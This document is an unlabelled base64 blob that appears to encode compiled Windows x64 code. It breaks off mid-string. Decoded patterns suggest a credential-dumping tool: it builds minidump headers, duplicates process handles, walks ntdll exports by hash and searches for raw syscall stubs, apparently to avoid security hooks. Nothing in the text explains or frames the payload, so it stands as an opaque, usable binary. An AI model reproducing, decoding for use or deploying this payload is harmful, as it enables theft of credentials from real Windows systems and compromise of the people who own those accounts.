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pWgEAAMdF2AAAAADpNQEAAItF2EjB4ARIicJIi4V4////SAHQi1AEi0XYg8ABicBIweAESInBSIuFeP///0gByItABDnCD4b2AAAASMeFQP///wAAAABIx4VI////AAAAAItF2EjB4ARIicJIi4V4////SAHQiwCJhUD///+LRdhIweAESInCSIuFeP///0gB0ItABImFRP///4tF2IPAAYnASMHgBEiJwkiLhXj///9IAdCLVdhIidFIweEESIuVeP///0gByosAiQKLRdiDwAGJwEjB4ARIicJIi4V4////SAHQi1XYSInRSMHhBEiLlXj///9IAcqLQASJQgSLRdiDwAGJwEjB4ARIicJIi4V4////SAHCi4VA////iQKLRdiDwAGJwEjB4ARIicJIi4V4////SAHCi4VE////iUIEg0XYAYsFMwsBACtF3IPoATlF2A+Ctv7//4NF3AGLBRoLAQCD6AE5RdwPgpT+//9Ii4V4////SIPAEItQBEiLhXj///+LSASJ0CnIiYVs////x0XUAAAAAOtZi0XUSMHgBEiJwkiLhXj///9IAdCLQASJwkiLRfBIAdBIiYVg////i0XUSMHgBEiJwkiLhXj///9IjRwCi5Vs////SIuFYP///0iJwegb+v//SIlDCINF1AGLBYQKAQCD6AE5RdRymbgBAAAASIHE6AAAAFtdw1VIieVIg+wwiU0Q6Hf7//+FwHUHuP/////rO8dF/AAAAADrIotF/EjB4ARIicJIjQVACgEAiwQCOUUQdQWLRfzrFINF/AGLBSEKAQA5Rfxy07j/////SIPEMF3DVUiJ5UiD7DCJTRDoG/v//4XAdQe4AAAAAOtNx0X8AAAAAOs0i0X8SMHgBEiJwkiNBeQJAQCLBAI5RRB1F4tF/EjB4ARIicJIjQXTCQEASIsEAusUg0X8AYsFswkBADlF/HLBuAAAAABIg8QwXcNIx8AAAAAAw5APC0iLBCTDkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuQ8qm80AAAAAUUiD7CjoV////0iDxChZUEiD7Cjo7P7//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuS8av/8AAAAAUUiD7Cjo/f7//0iDxChZUEiD7Cjokv7//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8FndYsRUUiD7Cjopv7//0iDxChZUEiD7CjoO/7//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8E/01IiUUiD7CjoT/7//0iDxChZUEiD7Cjo5P3//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuaIVqY8AAAAAUUiD7Cjo9f3//0iDxChZUEiD7Cjoiv3//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuSC8vL0AAAAAUUiD7Cjom/3//0iDxChZUEiD7CjoMP3//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8GA6ZMDUUiD7CjoRP3//0iDxChZUEiD7Cjo2fz//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EyG6sXUUiD7Cjo7fz//0iDxChZUEiD7Cjogvz//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EbA5UFUUiD7Cjolvz//0iDxChZUEiD7CjoK/z//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EFL5MBUUiD7CjoP/z//0iDxChZUEiD7Cjo1Pv//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIubaOAZYAAAAAUUiD7Cjo5fv//0iDxChZUEiD7Cjoevv//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EaKrIkUUiD7Cjojvv//0iDxChZUEiD7CjoI/v//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuaDQOPUAAAAAUUiD7CjoNPv//0iDxChZUEiD7Cjoyfr//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8GPLFtKUUiD7Cjo3fr//0iDxChZUEiD7Cjocvr//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuROkv5wAAAAAUUiD7Cjog/r//0iDxChZUEiD7CjoGPr//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8FP9iMOUUiD7CjoLPr//0iDxChZUEiD7Cjowfn//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8HjdmNCUUiD7Cjo1fn//0iDxChZUEiD7Cjoavn//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EaarJkUUiD7Cjofvn//0iDxChZUEiD7CjoE/n//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8GgZC5lUUiD7CjoJ/n//0iDxChZUEiD7CjovPj//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EMMp8dUUiD7Cjo0Pj//0iDxChZUEiD7CjoZfj//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8E2cZEnUUiD7Cjoefj//0iDxChZUEiD7CjoDvj//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8GEg5wJUUiD7CjoIvj//0iDxChZUEiD7Cjot/f//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8GHX74aUUiD7Cjoy/f//0iDxChZUEiD7CjoYPf//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuepivbwAAAAAUUiD7Cjocff//0iDxChZUEiD7CjoBvf//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuW260YoAAAAAUUiD7CjoF/f//0iDxChZUEiD7CjorPb//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuQ+Yl4wAAAAAUUiD7Cjovfb//0iDxChZUEiD7CjoUvb//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuaeMOqYAAAAAUUiD7CjoY/b//0iDxChZUEiD7Cjo+PX//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIufkSafAAAAAAUUiD7CjoCfb//0iDxChZUEiD7CjonvX//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EYOaNzUUiD7CjosvX//0iDxChZUEiD7CjoR/X//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8H7Xqt8UUiD7CjoW/X//0iDxChZUEiD7Cjo8PT//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EeXJg4UUiD7CjoBPX//0iDxChZUEiD7CjomfT//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuYJN34QAAAAAUUiD7CjoqvT//0iDxChZUEiD7CjoP/T//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LkJCQkJCQkJCQVUiJ5UiD7DBIiU0QSIlVGEyJRSBMiU0oSI1FIEiJRfBIi1XwSItFGEmJ0EiJwkiLTRDoCU8AAIlF/ItF/EiDxDBdw1VIieVIg+wwx0X8AQAAAEiNBcfAAABIiUXwSI1F8EG4AQAAALoBAAAASInB6AwAAACJRfyLRfxIg8QwXcNVU0iD7EhIjWwkQEiJTSCJVShEiUUwSMdF6AAAAABIjUXoSYnAuigAAABIx8H/////6Jz1//+JRfiDffgAeQq4AAAAAOnWAAAAx0X8AAAAAOmlAAAAi0X8SJhIjRTFAAAAAEiLRSBIAdBIixBIi0Xoi00wQYnISInB6KgAAACJRfSDffQAdW9Ii0XoSInB6Oj0//9Ix0XoAAAAAItF/EiYSI0UxQAAAABIi0UgSAHQSIsYuQEAAABIiwXSrQAA/9BJidhIjRX4vwAASInB6K7+//+5AQAAAEiLBbKtAAD/0EiNFfe/AABIicHokf7//7gAAAAA6ymDRfwBi0X8OUUoD4dP////SItF6EiJwehp9P//SMd